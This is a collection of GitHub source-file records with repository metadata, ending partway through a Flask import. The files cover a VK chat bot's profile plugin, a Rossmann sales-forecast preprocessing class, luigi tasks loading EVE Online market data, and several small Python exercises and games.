0, 1, 1, 1, 2)[min(messages_count % 10, 5)]]}\"\n \n first_message_date = datetime.datetime.fromtimestamp(m_stats[\"first_message\"]) \n first_message_date = await getDatesDiff(datetime.datetime.now(), first_message_date) \n first_message_date = \"только что\" if len(first_message_date) <= 1 else f\"{first_message_date} назад\"\n \n last_message_date = datetime.datetime.fromtimestamp(m_stats[\"last_message\"]) \n last_message_date = await getDatesDiff(datetime.datetime.now(), last_message_date)\n last_message_date = \"только что\" if len(last_message_date) <= 1 else f\"{last_message_date} назад\"\n \n activity += f\"Первое появление {first_message_date}\\n\\nОтправил{sex} {messages_count}\\nПоследнее сообщение {last_message_date}\\n\" \n \n if \"_clients_\" in msg.meta[\"data_chat\"]:\n if str(m) in msg.meta[\"data_chat\"][\"_clients_\"]:\n m_client = msg.meta[\"data_chat\"][\"_clients_\"][str(m)]\n \n if m_client.get(\"hideme\", False) and msg.from_id != m:\n return await msg.answer(\"🍰 Пользователь не найден.\")\n \n if \"mute\" in m_client and type(m_client[\"mute\"]) == dict:\n muted = True\n \n if \"ban\" in m_client and type(m_client[\"ban\"]) == dict:\n banned = True\n \n if \"mute_history\" in m_client and type(m_client[\"mute_history\"]) == list:\n mutes = len(m_client[\"mute_history\"])\n \n if \"ban_history\" in m_client and type(m_client[\"ban_history\"]) == list:\n bans = len(m_client[\"ban_history\"])\n \n if \"username\" in m_client:\n has_username = True\n \n if \"can_change_username\" in m_client:\n can_change_username = m_client[\"can_change_username\"]\n \n if \"duels_stats\" in m_client and m_client[\"duels_stats\"]:\n duels = f\"\\n\\n🔫 Выиграл{sex} \" + plural_form(len(m_client[\"duels_stats\"]), ['дуэль', 'дуэли', 'дуэлей'])\n \n if \"rewards\" in m_client and m_client[\"rewards\"]:\n rewards_levels = ['🎗', '🥉', '🥈', '🥇', '🎖', '🏅', '🏆', '🏵', '🌟', '🐲']\n \n rewards_ = []\n \n for r in m_client[\"rewards\"][:5]:\n if type(r) == str:\n rewards_.append(f\"🎗 {r}\")\n else:\n reward_text = r['reward']\n reward_level = r['level']\n reward_icon = rewards_levels[reward_level] if reward_level <= len(rewards_levels) else rewards_levels[0]\n rewards_.append(f\"{reward_icon} {reward_text}\")\n \n rewards = \"\\n\".join(\"%s\" % _ for _ in rewards_[-3:])\n if len(rewards_) > 3:\n rewards += \"\\nи еще {}.\".format(plural_form(len(rewards_)-3, ['награда', 'награды', 'наград']))\n \n if \"_marriages_\" in msg.meta[\"data_chat\"]:\n marriages = msg.meta[\"data_chat\"].getraw(\"_marriages_\")\n \n marriages_ = []\n for marriage in marriages:\n if m in marriage[\"clients\"]:\n for client_id in marriage[\"clients\"]:\n if m == client_id: continue\n sexual_partner_username = await get_username(msg, client_id, name_case='ins')\n \n created_time = datetime.datetime.fromtimestamp(marriage[\"timestamp\"])\n t = await getDatesDiff(datetime.datetime.now(), created_time)\n marriages_.append(f\"{sexual_partner_username} уже {t}\")\n \n if marriages_:\n if len(marriages_) > 1:\n message_marriage = \"Браки:\\n{}\".format(\"\\n\".join(\"• %s\" % _ for _ in marriages_[-3:]))\n\n if len(marriages_) > 3: \n message_marriage += \"\\nи еще {}.\".format(plural_form(len(marriages_)-3, ['брак', 'брака', 'браков']))\n else:\n message_marriage = \"В браке с {}\".format(marriages_[0])\n \n \n rewards = f\"\\n\\n🏆 Награды:\\n{rewards}\" \n message = f\"{'Пользователь' if m > 0 else 'Сообщество'} {username}:\\n{message_stats}Роль: {role}\\n{activity}\\n💍 {message_marriage}{duels}{rewards}\"\n \n plugins = {}\n for plugin in self.handler.plugins:\n if plugin.name in plugins: continue\n if hasattr(plugin, \"required_role\"):\n plugins[plugin.name] = plugin.required_role\n \n buttons, staff_buttons, super_staff_buttons = [], [], []\n for plugin in self.handler.plugins:\n if plugin.name == \"ContentMarriagesPlugin\":\n if await has_perms(msg, plugin):\n buttons.append({\"action\": {\"type\": \"text\", \"label\": \"💍 Брак\", \"payload\": json.dumps({\"cmd\": \"ContentMarriagesPlugin\", \"act\": \"invite\", \"peer_id\": m})}, \"color\": \"default\"})\n \n if plugin.name == \"ContentDuelsPlugin\":\n if await has_perms(msg, plugin):\n buttons.append({\"action\": {\"type\": \"text\", \"label\": \"🔫 Дуэль\", \"payload\": json.dumps({\"cmd\": \"ContentDuelsPlugin\", \"act\": \"invite\", \"peer_id\": m})}, \"color\": \"default\"})\n\n if plugin.name == \"MutePlugin\":\n if await has_perms(msg, plugin):\n if mutes > 1:\n message += f\"\\n\\nМутов: {mutes}\"\n \n if muted:\n muted_admin_username = await get_username(msg, m_client[\"mute\"][\"admin\"], only_first_name=False)\n \n t_ = datetime.datetime.fromtimestamp(m_client[\"mute\"][\"timestamp\"]) \n t = await getDatesDiff(datetime.datetime.now(), t_, True) \n \n t_start = t_.strftime('%d.%m.%Y %H:%M:%S')\n t_end = t_ + datetime.timedelta(seconds=m_client[\"mute\"][\"expires\"])\n t_end = t_end.strftime('%d.%m.%Y %H:%M:%S')\n \n message += f\"\\n\\nМут:\\n• В муте: {t}\\n• Замутил: {muted_admin_username}\\n• Время мута: {t_start}\\n• Истечёт: {t_end}\"\n \n if m != msg.from_id:\n if not muted:\n staff_buttons.append({\"action\": {\"type\": \"text\", \"label\": \"🤬 Мут\", \"payload\": json.dumps({\"cmd\": \"MutePlugin\", \"peer_id\": m})}, \"color\": \"primary\"})\n else:\n staff_buttons.append({\"action\": {\"type\": \"text\", \"label\": \"🤬 Анмут\", \"payload\": json.dumps({\"cmd\": \"MutePlugin\", \"act\": \"unmute\", \"peer_id\": m})}, \"color\": \"positive\"})\n \n if plugin.name == \"KickPlugin\":\n if m != msg.from_id:\n if await has_perms(msg, plugin):\n staff_buttons.append({\"action\": {\"type\": \"text\", \"label\": \"👞 Кик\", \"payload\": json.dumps({\"cmd\": \"KickPlugin\", \"peer_id\": m})}, \"color\": \"primary\"})\n\n if plugin.name == \"BanPlugin\":\n if await has_perms(msg, plugin):\n if bans > 1:\n message += f\"\\n\\nБанов: {bans}\"\n \n if banned:\n banned_admin_username = await get_username(msg, m_client[\"ban\"][\"admin\"], only_first_name=False)\n \n t_ = datetime.datetime.fromtimestamp(m_client[\"ban\"][\"timestamp\"]) \n t = await getDatesDiff(datetime.datetime.now(), t_, True) \n \n t_start = t_.strftime('%d.%m.%Y %H:%M:%S')\n if m_client[\"ban\"][\"expires\"] == \"permanent\":\n t_end = \"Перманентный\"\n else:\n t_end = t_ + datetime.timedelta(seconds=m_client[\"ban\"][\"expires\"])\n t_end = t_end.strftime('%d.%m.%Y %H:%M:%S')\n \n message += f\"\\n\\nБан:\\n• В бане: {t}\\n• Забанил: {banned_admin_username}\\n• Время бана: {t_start}\\n• Истечёт: {t_end}\"\n \n if m != msg.from_id:\n if not banned:\n staff_buttons.append({\"action\": {\"type\": \"text\", \"label\": \"😡 Бан\", \"payload\": json.dumps({\"cmd\": \"BanPlugin\", \"peer_id\": m})}, \"color\": \"primary\"})\n else:\n staff_buttons.append({\"action\": {\"type\": \"text\", \"label\": \"😡 Анбан\", \"payload\": json.dumps({\"cmd\": \"BanPlugin\", \"act\": \"unban\", \"peer_id\": m})}, \"color\": \"positive\"})\n\n \n if plugin.name == \"ControlPlugin\":\n if await has_perms(msg, plugin):\n if has_username:\n super_staff_buttons.append({\"action\": {\"type\": \"text\", \"label\": \"Удалить ник\", \"payload\": json.dumps({\"cmd\": \"ControlPlugin\", \"act\": \"username.delete\", \"peer_id\": m})}, \"color\": \"primary\"})\n \n if m != msg.from_id:\n if can_change_username:\n super_staff_buttons.append({\"action\": {\"type\": \"text\", \"label\": \"-ник\", \"payload\": json.dumps({\"cmd\": \"ControlPlugin\", \"act\": \"username.interact\", \"peer_id\": m})}, \"color\": \"negative\"})\n else:\n super_staff_buttons.append({\"action\": {\"type\": \"text\", \"label\": \"+ник\", \"payload\": json.dumps({\"cmd\": \"ControlPlugin\", \"act\": \"username.interact\", \"peer_id\": m})}, \"color\": \"positive\"})\n \n if not m or m == msg.from_id:\n if msg.meta[\"is_supporter\"]:\n message += \"\\n\\n🥰 Подписчица Extra.\" if sex else\" \\n\\n🥰 Подписчик Extra.\"\n\n columns = []\n \n if buttons: columns.append(buttons)\n if staff_buttons:\n staff_buttons.reverse()\n columns.append(staff_buttons)\n if super_staff_buttons: columns.append(super_staff_buttons)\n\n columns.append([{\"action\": {\"type\": \"open_link\", \"link\": \"https://vk.com/@hypixelbot-extra\", \"label\": \"🥰 Подписка Extra\"}}])\n \n if columns:\n keyboard = json.dumps({\"inline\": True, \"buttons\": columns})\n return await msg.answer(message, keyboard=keyboard)\n else:\n return await msg.answer(message)\n","repo_name":"vladimirpichugin/HypixelBot","sub_path":"plugins/control/profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":15757,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"71175900906","text":"import pickle\nimport inflection\nimport pandas as pd\nimport numpy as np\nimport math\nimport datetime\n\n\nclass Rossmann(object):\n def __init__(self):\n \n self.home_path=''\n \n self.competition_distance_scaler = pickle.load(\n open(self.home_path + 'parameter/competition_distance_scaler.pkl', 'rb'))\n \n self.competition_time_month_scaler = pickle.load(\n open(self.home_path + 'parameter/competition_time_month_scaler.pkl', 'rb'))\n \n self.promo_time_week_scaler = pickle.load(\n open(self.home_path + 'parameter/promo_time_week_scaler.pkl', 'rb'))\n \n self.year_scaler = pickle.load(\n open(self.home_path + 'parameter/year_scaler.pkl', 'rb'))\n \n self.store_type_scaler = pickle.load(\n open(self.home_path + 'parameter/store_type_scaler.pkl', 'rb'))\n \n def data_cleaning(self, df1):\n\n ## 1.1 Rename Columns\n\n cols_old = ['Store', 'DayOfWeek', 'Date', 'Open', 'Promo',\n 'StateHoliday', 'SchoolHoliday', 'StoreType', 'Assortment',\n 'CompetitionDistance', 'CompetitionOpenSinceMonth',\n 'CompetitionOpenSinceYear', 'Promo2', 'Promo2SinceWeek',\n 'Promo2SinceYear', 'PromoInterval']\n\n snakecase = lambda x: inflection.underscore(x)\n\n cols_new = list(map(snakecase, cols_old))\n\n # rename columns\n df1.columns = cols_new\n\n\n ## 1.3 Data Types\n\n # mudar o types da coluna date\n df1['date'] = pd.to_datetime(df1['date'])\n\n ## 1.5 Fillout NA\n\n #competition_distance - distancia em metros da loja competidora proxima\n # uma das formas de eliminar os NAs é preenchendo as linhas faltantes\n # utilizando a lógica de que talvez NA é pq a loja competidora está bem distante\n # e para isso irei preencher um valor qualquer 200000.0 (maior q o valor maximo do meu dataframe) \n\n df1['competition_distance'] = df1['competition_distance'].apply(lambda x: 200000.0 if math.isnan(x) else x)\n\n #competition_open_since_month - mes/ano que a loja competidora foi aberta\n # quando é mais de uma coluna coloca axis=1\n\n df1['competition_open_since_month']= df1.apply(lambda x: x['date'].month \n if math.isnan(x['competition_open_since_month']) else \n x['competition_open_since_month'], axis=1)\n\n #competition_open_since_year \n df1['competition_open_since_year']= df1.apply(lambda x: x['date'].year \n if math.isnan(x['competition_open_since_year']) else \n x['competition_open_since_year'], axis=1) \n #promo2_since_week\n df1['promo2_since_week']= df1.apply(lambda x: x['date'].week \n if math.isnan(x['promo2_since_week']) else \n x['promo2_since_week'], axis=1) \n #promo2_since_year \n df1['promo2_since_year']= df1.apply(lambda x: x['date'].year \n if math.isnan(x['promo2_since_year']) else \n x['promo2_since_year'], axis=1)\n #promo_interval - intervalos consecutivos quando a promo2 foi iniciada\n # dicionario indicando o numero dos meses\n month_map = {1: 'Jan',\n 2: 'Feb',\n 3: 'Mar',\n 4: 'Apr',\n 5: 'May',\n 6: 'Jun',\n 7: 'Jul',\n 8: 'Aug',\n 9: 'Sept',\n 10: 'Oct',\n 11: 'Nov',\n 12: 'Dec'}\n df1['promo_interval'] = df1['promo_interval'].fillna(0)\n # assumption: criadno uma coluna onde indica o mes da coluna date \n df1['month_map'] = df1['date'].dt.month.map(month_map)\n\n # assumption: se o mes estiver presente na coluna 'promo_interval' logo tem promocao ativa naquela data \n df1['is_promo'] = df1[['promo_interval', 'month_map']].apply(lambda x: 0 if x['promo_interval']==0 else \n 1 if x['month_map'] in x['promo_interval'].split(',') \n else 0, axis=1)\n\n\n ## 1.6 Change Types\n\n df1['competition_open_since_month'] = df1['competition_open_since_month'].astype(int)\n df1['competition_open_since_year'] = df1['competition_open_since_year'].astype(int)\n\n df1['promo2_since_week'] = df1['promo2_since_week'].astype(int)\n df1['promo2_since_year'] = df1['promo2_since_year'].astype(int)\n\n \n return df1\n \n\n \n def feature_engineering(self, df2):\n\n ## extraindo novas features da coluna date\n # year\n df2['year'] = df2['date'].dt.year\n\n # month\n df2['month'] = df2['date'].dt.month\n\n # day\n df2['day'] = df2['date'].dt.day\n\n # week of year\n df2['week_of_year'] = df2['date'].dt.isocalendar().week\n\n # year week\n df2['year_week'] = df2['date'].dt.strftime('%Y-%W')\n\n ## features de competition\n # competition since - juntas o mes - ano\n df2['competition_since'] = df2.apply(lambda x: datetime.datetime(year= x['competition_open_since_year'], \n month= x['competition_open_since_month'] , day=1), axis=1)\n df2['competition_time_month'] = ((df2['date'] - df2['competition_since'])/30).apply(lambda x: x.days).astype(int)\n\n ## feature de promo\n # promo since\n df2['promo_since'] = df2['promo2_since_year'].astype(str) + '-' + df2['promo2_since_week'].astype(str)\n # transformando em datetime\n df2['promo_since'] = df2['promo_since'].apply(\n lambda x: datetime.datetime.strptime(x + '-1', '%Y-%W-%w') - datetime.timedelta(days=7))\n df2['promo_time_week'] = ((df2['date'] - df2['promo_since'])/7).apply(lambda x: x.days).astype(int)\n\n ## feature assortment\n df2['assortment']= df2['assortment'].apply(lambda x: 'basic' if x == 'a' else 'extra' if x == 'b' else 'extended')\n\n # state holiday\n df2['state_holiday'] = df2['state_holiday'].apply(lambda x:'public_holiday' if x == 'a' else \n 'easter_holiday' if x == 'b' else \n 'christmas' if x == 'c' else 'regular_day') \n\n # 3.0 - Filtragem das Variáveis\n ## 3.1 - Filtragem das linhas\n\n # as restrições observadas para o negócio foram loja fechada e vendas nulas\n df2 = df2[(df2['open'] != 0)]\n\n ## 3.2 - Seleção\n\n # a coluna customers é uma restrição para o modelo, pois tem essa informação daqui 6 semanas\n # a não ser que eu faça outro modelo de previsão para calcular a coluna customers daqui 6 semanas.\n # então por isso, foi retirar essa coluna do meu dataset para fazer a predição de vendas daqui 6 semanas.\n cols_drop = [ 'open', 'promo_interval', 'month_map']\n df2 = df2.drop(cols_drop, axis=1)\n \n return df2\n \n def data_preparation(self, df5):\n\n ## 5.2 Rescaling\n # competition distance\n df5['competition_distance'] = self.competition_distance_scaler.transform( df5[['competition_distance']].values )\n\n\n # competition time month\n df5['competition_time_month'] = self.competition_time_month_scaler.transform( df5[['competition_time_month']].values )\n \n\n # promo time week\n df5['promo_time_week'] = self.promo_time_week_scaler.transform( df5[['promo_time_week']].values )\n \n\n # year\n df5['year'] = self.year_scaler.transform( df5[['year']].values )\n \n \n\n\n ## 5.3 Transformação\n\n ### 5.3.1 Enconding \n\n # enconding - muda a variavel de categorica para numerica sem mudar o conteudo de unformação\n\n # state_holiday - One Hot Encoding\n df5 = pd.get_dummies(df5, prefix=['state_holiday'], columns=['state_holiday'])\n\n # store_type - Label Enconding\n df5['store_type'] = self.store_type_scaler.transform(df5['store_type'])\n\n\n # assortment - Ordinal Enconding\n assortment_dict = {'basic': 1, 'extra': 2, 'extended': 3}\n df5['assortment'] = df5['assortment'].map(assortment_dict)\n \n ## natureza ciclica - seno e cosseno\n # day of week\n df5['day_of_week_sin'] = df5['day_of_week'].apply(lambda x: np.sin(x * ( 2. * np.pi/7 )))\n df5['day_of_week_cos'] = df5['day_of_week'].apply(lambda x: np.cos(x * ( 2. * np.pi/7 )))\n\n # month\n df5['month_sin'] = df5['month'].apply(lambda x: np.sin(x * ( 2. * np.pi/12 )))\n df5['month_cos'] = df5['month'].apply(lambda x: np.cos(x * ( 2. * np.pi/12 )))\n\n # day\n df5['day_sin'] = df5['day'].apply(lambda x: np.sin(x * ( 2. * np.pi/30 )))\n df5['day_cos'] = df5['day'].apply(lambda x: np.cos(x * ( 2. * np.pi/30 )))\n\n # week of year\n df5['week_of_year_sin'] = df5['week_of_year'].apply(lambda x: np.sin(x * ( 2. * np.pi/52 )))\n df5['week_of_year_cos'] = df5['week_of_year'].apply(lambda x: np.cos(x * ( 2. * np.pi/52 )))\n \n cols_selected = ['store', 'promo', 'store_type', 'assortment', 'competition_distance', 'competition_open_since_month',\n 'competition_open_since_year', 'promo2', 'promo2_since_week', 'promo2_since_year', \n 'competition_time_month', 'promo_time_week', 'day_of_week_sin', 'day_of_week_cos', \n 'month_sin', 'month_cos', 'day_sin', 'day_cos', 'week_of_year_sin', 'week_of_year_cos']\n \n return df5[cols_selected]\n \n def get_prediction(self, model, original_data, test_data):\n # prediction\n pred = model.predict(test_data)\n \n # join pred into the original data\n original_data['prediction'] = np.expm1(pred)\n \n return original_data.to_json(orient='records', date_format='iso')","repo_name":"carolfoligno/deploy_render_project_rossmann","sub_path":"rossmann/Rossmann.py","file_name":"Rossmann.py","file_ext":"py","file_size_in_byte":10509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4184086156","text":"import os.path\nimport sqlalchemy as sqla\n\nimport luigi\nimport pandas as pd\n\nimport config\nfrom api import get_history, get_orders, get_transactions, process_history_json, process_orders_json\nfrom features import build_all_features\n\n\nclass GetMarketHistory(luigi.Task):\n \"\"\"Query the market history API endpoint for the given type_id\n and write the result to a json file\"\"\"\n\n type_id = luigi.IntParameter()\n\n def requires(self):\n return []\n\n def output(self):\n filename = os.path.join(config.history_dir, \"history_{}.json\".format(self.type_id))\n return luigi.LocalTarget(filename)\n\n def run(self):\n result = get_history(self.type_id)\n\n outfile = self.output().open('w')\n outfile.write(result)\n outfile.close()\n\n\nclass GetAllMarketHistory(luigi.WrapperTask):\n \"\"\"Query the market history API endpoint for every type_id\n specified in the config file and write the results to individual files\"\"\"\n\n def requires(self):\n\n type_id_list = config.active_type_ids\n\n for type_id in type_id_list:\n yield GetMarketHistory(type_id)\n\n\nclass GetMarketOrders(luigi.Task):\n \"\"\"Query the market orders API endpoint for the given type_id\n and write the result to a json file\"\"\"\n\n type_id = luigi.IntParameter()\n\n def requires(self):\n return []\n\n def output(self):\n filename = \"orders_{}.json\".format(self.type_id)\n return luigi.LocalTarget(os.path.join(config.orders_dir, filename))\n\n def run(self):\n result = get_orders(self.type_id)\n\n outfile = self.output().open('w')\n outfile.write(result)\n outfile.close()\n\n\nclass GetAllMarketOrders(luigi.WrapperTask):\n \"\"\"Query the market orders API endpoint for every type_id\n specified in the config file and write the results to individual files\"\"\"\n\n def requires(self):\n\n type_id_list = config.active_type_ids\n\n for type_id in type_id_list:\n yield GetMarketOrders(type_id)\n\n\nclass GetTransactions(luigi.Task):\n \"\"\"Query the character transaction API endpoint and retrieve\n the character transactions\"\"\"\n\n def requires(self):\n return []\n\n def output(self):\n filename = \"transactions.csv\"\n return luigi.LocalTarget(os.path.join(config.txns_dir, filename))\n\n def run(self):\n result = get_transactions(config.creds['key_id'], config.creds['access_code'])\n\n outfile = self.output().open('w')\n outfile.write(result)\n outfile.close()\n\n\nclass LoadAPIDataToDatabase(luigi.Task):\n\n def requires(self):\n return [GetAllMarketHistory(), GetAllMarketOrders(), GetTransactions()]\n\n def output(self):\n filename = \"{}.done\".format(self.__class__.__name__)\n return luigi.LocalTarget(os.path.join(config.donefiles_dir, filename))\n\n def run(self):\n\n db_conn = sqla.create_engine('sqlite:///evetrader.sqlite3').connect()\n\n # load all the downloaded history data into dataframes\n history_dfs = []\n for filename in os.listdir(config.history_dir):\n history_dfs.append(process_history_json(filename))\n all_history = pd.concat(history_dfs)\n\n # load all the downloaded orders data into dataframes\n orders_dfs = []\n for filename in os.listdir(config.orders_dir):\n orders_dfs.append(process_orders_json(filename))\n all_orders = pd.concat(orders_dfs)\n\n # load all the downloaded transaction data into a dataframe\n # first find the last transaction already stored in the db\n query = \"SELECT MAX(transactionid) FROM transactions\"\n try:\n max_existing_txn_id = pd.read_sql(query, db_conn)['MAX(transactionid)'].values[0]\n except:\n max_existing_txn_id = 0\n # next read the downloaded txns and pull out the new ones\n filename = os.path.join(config.txns_dir, 'transactions.csv')\n txns_df = pd.read_csv(filename, parse_dates=['transactiondatetime'])\n txns_df = txns_df.loc[txns_df.transactionid > max_existing_txn_id]\n\n # load all the data into the database\n all_history.to_sql('history', db_conn, if_exists='replace')\n all_orders.to_sql('orders', db_conn, if_exists='append')\n txns_df.to_sql('transactions', db_conn, if_exists='append')\n\n # touch the donefile\n self.output().open('w').close()\n\n\nclass BuildFeaturesTable(luigi.Task):\n\n def requires(self):\n return LoadAPIDataToDatabase()\n\n def output(self):\n filename = \"{}.done\".format(self.__class__.__name__)\n return luigi.LocalTarget(os.path.join(config.donefiles_dir, filename))\n\n def run(self):\n\n db_conn = sqlite3.connect('evetrader.sqlite3')\n\n features_df = build_all_features()\n features_df.to_sql('features', db_conn, if_exists='replace')\n\n # touch the donefile\n self.output().open('w').close()\n","repo_name":"hinnefe2/evetrader","sub_path":"tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":4914,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"74534003946","text":"\"\"\" \n4864. [파이썬 S/W 문제해결 기본] 3일차 - 문자열 비교\n문제 내용\n두 개의 문자열 str1과 str2가 주어진다. 문자열 str2 안에 str1과 일치하는 부분이 있는지 찾는 프로그램을 만드시오.\n예를 들어 두 개의 문자열이 다음과 같이 주어질 때, 첫 문자열이 두번째에 존재하면 1, 존재하지 않으면 0을 출력한다.\nABC\nZZZZZABCZZZZZ\n두번째 문자열에 첫번째 문자열과 일치하는 부분이 있으므로 1을 출력.\nABC\nZZZZAZBCZZZZZ\n문자열이 일치하지 않으므로 0을 출력.\n\n[입력]\n첫 줄에 테스트 케이스 개수 T가 주어진다. (1≤T≤50)\n다음 줄부터 테스트 케이스 별로 길이가 N인 문자열 str1과 길이가 M인 str2가 각각 다른 줄에 주어집니다. (5≤N≤100, 10≤M≤1000, N≤M)\n\n[출력]\n각 줄마다 \"#T\" (T는 테스트 케이스 번호)를 출력한 뒤, 답을 출력한다.\n\n최초 작성 2019.01.31 PBY\n\"\"\"\n\n# 제출 시 삭제할 부분\nimport sys\nsys.stdin = open(\"C:/Users/student/Documents/week2/day1/Algorithms/190131_01_input.txt\", \"r\")\n\ntestcase = int(input())\nfor tc in range(1, testcase+1):\n P = input()\n T = input()\n\n N = len(T)\n M = len(P)\n\n # 고지식한 알고리즘\n i = j = 0\n while i < N and j < M:\n if T[i] != P[j]:\n i = i-j\n j = -1\n i += 1\n j += 1\n\n # 찾으면 1, 아니면 0을 출력\n if j == M:\n print(\"#%d 1\" %tc)\n else:\n print(\"#%d 0\" %tc)\n\n\n# pycharm은 실행시 alt+shift+f10 (이전 파일 또 실행 shift+f10)\n# visual studio는 실행시 ctrl + f5\n","repo_name":"BY1994/hphk_001","sub_path":"Algorithms/190131_01_문자열비교.py","file_name":"190131_01_문자열비교.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"7422743941","text":"# Example code from https://stackoverflow.com/questions/16032982/getting-live-info-from-dev-input\n# Call it from adb shell\nimport struct\n\ninfile_path = \"/dev/input/js0\"\nEVENT_SIZE = struct.calcsize(\"LhBB\")\nfile = open(infile_path, \"rb\")\nevent = file.read(EVENT_SIZE)\nwhile event:\n print(struct.unpack(\"LhBB\", event))\n (tv_msec, value, type, number) = struct.unpack(\"LhBB\", event)\n event = file.read(EVENT_SIZE)","repo_name":"hagibr/RG35XX","sub_path":"pyapps/PYAPPS/joystick/joystick_probe.py","file_name":"joystick_probe.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"71265214827","text":"from django.utils.translation import activate\nfrom shoop.testing.factories import (\n get_shop, get_default_customer_group, get_default_payment_method,\n create_random_person\n)\nfrom shoop.testing.utils import apply_request_middleware\n\n\ndef initialize_test(rf, include_tax=False):\n activate(\"en\")\n shop = get_shop(prices_include_tax=include_tax)\n get_default_payment_method() # Valid baskets needs some payment methods to be available\n\n group = get_default_customer_group()\n customer = create_random_person()\n customer.groups.add(group)\n customer.save()\n\n request = rf.get(\"/\")\n request.shop = shop\n apply_request_middleware(request)\n request.customer = customer\n return request, shop, group\n","repo_name":"if413019/ShoopDevelopment","sub_path":"shoop_tests/campaigns/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37304797237","text":"# Challenge 147: Mastermind\n\nimport random\n\nRULES = \"\"\"Mastermind (board game):\n\n1) Decoding board has 4 holes.\n2) 6 code pegs: red, blue, green, yellow, purple, orange.\n3) Key pegs: ⬛ - correct color in correct place,\n ⬜ - correct color in wrong place,\n _nothing_ - wrong color.\n4) Duplicates allowed.\n5) Blanks not allowed.\n6) Codebreaker has 10 attempts.\n\"\"\"\n\nBOARD_HOLES = 4\nCODEBREAK_ATTEMPTS = 10\nCOLORS = {'red':'🔴',\n 'blue':'🔵',\n 'green':'🟢',\n 'yellow':'🟡',\n 'purple':'🟣',\n 'orange':'🟠'\n}\n\nprint(RULES)\nsecret_code = random.choices(list(COLORS), k=BOARD_HOLES)\n\nboard = \"\"\nwin = False\nfor i in range(1, CODEBREAK_ATTEMPTS+1):\n print(f'\\tAttempt {i}/{CODEBREAK_ATTEMPTS}:')\n\n user_cols = []\n while len(user_cols) < BOARD_HOLES:\n color = input(f'{len(user_cols)+1}-color: ').lower()\n if color not in COLORS:\n print(\"Invalid input.\")\n continue\n user_cols.append(color)\n \n cols_row = \"\".join([COLORS[c] for c in user_cols]) + \" | \"\n \n # check black\n black_idx = []\n for i in range(BOARD_HOLES):\n if user_cols[i] == secret_code[i]:\n cols_row += '⬛'\n black_idx.append(i)\n \n # check white\n white_idx = {}\n for i in range(BOARD_HOLES):\n if (i not in black_idx) and (i not in white_idx):\n for j in range(BOARD_HOLES):\n if (j not in black_idx) and (j not in white_idx.values()):\n if user_cols[i] == secret_code[j]:\n cols_row += '⬜'\n white_idx[i] = j\n break\n\n board += cols_row + '\\n'\n print(board)\n\n if '⬛'*4 in cols_row:\n win = True\n break\n\nif win:\n print(\"You win!\")\nelse:\n print(f\"You lose. Secret code:\\n{secret_code}\")","repo_name":"Jonikulov/python-by-example","sub_path":"147.py","file_name":"147.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22706904209","text":"# coding:utf8\n'''\n# 如何进行反向迭代以及如何实现反向迭代\n# xrange() 函数用法与 range 完全相同,python3已经合并了range()用法\n# 所不同的是生成的不是一个数组,而是一个生成器\n# 实现一个连续浮点数发生器FloatRange(和range类似\n# 根据给定范围(start,end)和步进值(step)产生一些列连续浮点数,\n# 如迭代FloatRange(3.0,4.0,0.2)可产生序列:\n\n正向:3.0-->3.2-->3.4-->3.6-->3.8-->4.0\n反向:4.0-->3.8-->3.6-->3.4-->3.2-->3.0\n\n'''\n\n\n# 反向迭代器\n# \n\nclass FloatRange():\n def __init__(self, start, end, step=0.1):\n self.start = start # 在对象内部记录这三个参数,方便其他方法的调用,\n self.end = end\n self.step = step # 指定每次迭代的值的循环操作\n\n def __iter__(self):\n t = self.start\n while t <= self.end:\n yield t\n t += self.step\n\n def __reversed__(self):\n t = self.end\n while t >= self.start:\n yield t\n t -= self.step\n\n# self可看做是类的实例\n\nfor t in FloatRange(1.0,4.0,0.5): #默认实现了iter()方法\n print(t)\n\nfor t in FloatRange(1.0,4.0,0.2).__reversed__():\n print(t)\n\nfor t in reversed(FloatRange(1.0,4.0,0.2)):\n print(t)\n\n#python2运行没有问题,都是一位小数\n\n\n\n\n\n\n\n\n\n","repo_name":"zhwl934008411/Python-Advanced-Programing","sub_path":"index3/index3-4.py","file_name":"index3-4.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"44778663488","text":"import tcod as libtcod\nimport textwrap\n\nclass Message:\n\tdef __init__(self, text, color):\n\t\tself.text = text\n\t\tself.color = color\n\nclass MessageLog:\n\tdef __init__(self, x, width, height):\n\t\tself.messages = []\n\t\tself.x = x\n\t\tself.width = width\n\t\tself.height = height\n\n\tdef add(self, msgstr, color=libtcod.white):\n\t\tmessage = Message(msgstr, color)\n\t\tnew_msg_lines = textwrap.wrap(message.text, self.width)\n\n\t\tfor line in new_msg_lines:\n\t\t\tif len(self.messages) == self.height:\n\t\t\t\tdel self.messages[0]\n\n\t\t\tself.messages.append(Message(line, message.color))\n\n\tdef clear(self):\n\t\tself.messages = []\n\n\tdef render(self, panel, y_start=2):\n\t\ty = y_start\n\t\tfor message in self.messages:\n\t\t\tlibtcod.console_set_default_foreground(panel, message.color)\n\t\t\tlibtcod.console_print_ex(panel, self.x, y, \n\t\t\t\tlibtcod.BKGND_NONE, libtcod.LEFT, message.text)\n\t\t\ty += 1","repo_name":"mkdir-not-war/text-game-setup","sub_path":"game_messages.py","file_name":"game_messages.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34467390620","text":"from flask import Flask, redirect, url_for, render_template, request, session, flash\nfrom datetime import timedelta\nfrom flask_sqlalchemy import 